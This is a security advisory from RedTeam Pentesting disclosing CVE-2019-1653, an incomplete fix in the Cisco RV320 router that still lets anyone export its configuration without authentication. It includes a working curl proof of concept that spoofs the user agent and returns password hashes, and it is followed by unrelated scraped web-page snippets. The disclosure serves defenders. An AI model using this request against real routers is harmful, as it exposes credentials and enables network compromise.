RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export
Advisory: Cisco RV320 Unauthenticated Configuration Export
RedTeam Pentesting discovered that the configuration of a Cisco RV320
router can still be exported without authentication via the device's web
interface due to an inadequate fix by the vendor.
Details
=======
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653
Introduction
============
"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])
More Details
============
The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based
configuration interface, which is implemented in various CGI programs in
the device's firmware. Access to this web interface requires prior
authentication using a username and password. Previously, RedTeam
Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI
program:
/cgi-bin/config.exp
By issuing an HTTP GET request to this program, it was possible to
export a router's configuration without providing any prior
authentication. This vulnerability was adressed in firmware version
1.4.2.19 published by Cisco [3].
RedTeam Pentesting discovered that the CGI program in the patched
firmware is still vulnerable. By performing a specially crafted HTTP
POST request, attackers are still able to download the router's
configuration. The user agent "curl" is blacklisted by the firmware and
must be adjusted in the HTTP client. Again, exploitation does not
require any authentication.
Proof of Concept
================
A device's configuration can be retrieved by issuing an HTTP POST request
to the vulnerable CGI program (output shortened):
------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \
'https://192.168.1.1/cgi-bin/config.exp'
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]
------------------------------------------------------------------------
Workaround
==========
Prevent untrusted clients from connecting to the device's web server.
Fix
===
None
Security Risk
=============
This vulnerability is rated as a high risk as it exposes the device's
configuration to untrusted, potentially malicious parties. By
downloading the configuration, attackers can obtain internal network
configuration, VPN or IPsec secrets, as well as password hashes for the
router's user accounts. Knowledge of a user's password hash is
sufficient to log into the router's web interface, cracking of the hash
is not required. Any information obtained through exploitation of this
vulnerability can be used to facilitate further compromise of the device
itself or attached networks.
Timeline
========
2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-002) published
2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published
References
==========
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export的更多相关文章
- RT-SA-2019-004 Cisco RV320 Unauthenticated Diagnostic DataRetrieval
Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that t ...
- RT-SA-2019-005 Cisco RV320 Command Injection Retrieval
Advisory: Cisco RV320 Command Injection RedTeam Pentesting discovered a command injection vulnerabil ...
- 自学Zabbix10.1 Configuration export/import 配置导入导出
自学Zabbix10.1 Configuration export/import 配置导入导出 通过导入/导出zabbix配置文件,我们可以将自己写好的模板等配置在网络上分享,我们也可以导入网络上分享 ...
- CISCO Configuration Examples and TechNotes
from: http://www.cisco.com/c/en/us/tech/ip/ip-routing/tech-configuration-examples-list.html Border ...
- Cisco Common Service Platform Collector - Hardcoded Credentials(CVE-2019-1723)
Cisco Common Service Platform Collector - Hardcoded Credentials 思科公共服务平台收集器-硬编码凭证(CVE-2019-1723) htt ...
- Cisco Umbrella WLAN
Cisco Umbrella WLAN在域名系统(DNS)级别提供云交付网络安全服务,可自动检测已知和紧急威胁. 此功能允许您在实际恶意攻击之前阻止托管恶意软件,僵尸网络和网络钓鱼的站点. Cisco ...
- JDBC与Druid简单介绍及Druid与MyBatis连接数据库
序言 java程序与数据建立连接,首先要从jdbc说起,然后直接上阿里认为宇宙最好的数据库连接池druid,然后再说上层程序对象与数据源映射关联关系的orm-mybatis. JDBC介绍 JDBC( ...
- Tech Stuff - Mobile Browser ID (User-Agent) Strings
Tech Stuff - Mobile Browser ID (User-Agent) Strings The non-mobile stuff is here (hint: you get jerk ...
- C# 对 App.config的appSettings节点数据进行加密
.NET平台下的Winform和Asp.net的配置文件默认都是明文保存的,本文使用的是.Net自身如何加密配置文件,不包含自定义的加密规则 但.Net是提供了直接对配置文件加密的功能的,使用.Net ...
随机推荐
- Kafka配置项unclean.leader.election.enable造成consumer出现offset重置现象
消费端出现offset重置为latest, earliest现象,类似log: (org.apache.kafka.clients.consumer.internals.Fetcher.handleF ...
- js倒计时、计时开始
最近项目中用到倒计时与计时的功能,代码如下: <!DOCTYPE html> <html> <head> <meta charset="utf-8& ...
- Arduino 串口测试 电脑发数据接收后立马返回
String comdata = ""; void setup() { Serial.begin(9600); while(Serial.read()>= 0){} //cl ...
- offsetLeft、offsetX等
https://blog.csdn.net/w390058785/article/details/80461845
- 浮点数乘积的取整intval,以及高精度函数bcmath的使用
线上发现个bug,浮点数乘积以后取整,得到的数不符预期.还记得上次踩过的坑是数据库类型转换的一个问题.这个也相当于类型转换了..尴尬 浮点数计算的精度一定要谨慎. 例子如下: <?php $a ...
- C++ 中 auto 与 decltype 的用法与区别
最近在恶补 C++ 知识的时候,学习到了一些 C++11 标准的新特性,利用这些新特性,我们能够更快地提高编程效率,从而实现我们的目标,在此特意记下学习过程中所学习到的一些东西,方便日后的回顾和复习. ...
- Winform 最小化双击显示,最小化右键退出。退出
WinForm 之 窗口最小化到托盘及右键图标显示菜单 Form最小化是指整个Form都缩小到任务栏上,但是窗体以Form的标题栏形式显示在任务栏上, 若是想让Form以Icon的形式显示在任务栏右下 ...
- Practical Mathematical Handwriting
In this article, I discuss the handwriting of $\mathbb{A}, \mathcal{A}, \mathscr{A}, \mathfrak{A}$'s ...
- python处理Windows平台上路径有空格
最近在采集windows上中间件的时候,遇到了文件路径有空格的问题. 例如:Aapche的安装路径为D:\Program Files\Apache Software Foundation\Apache ...
- linux安装tomcat部署web项目
我用的是如下图的两个软件,连接linux服务器. 其中WinSCp是传输文件用的,SecureCRT是用来输入命令的. 1.复制tomcat到指定目录(可复制到你想要的目录下),命令如下: cp /路 ...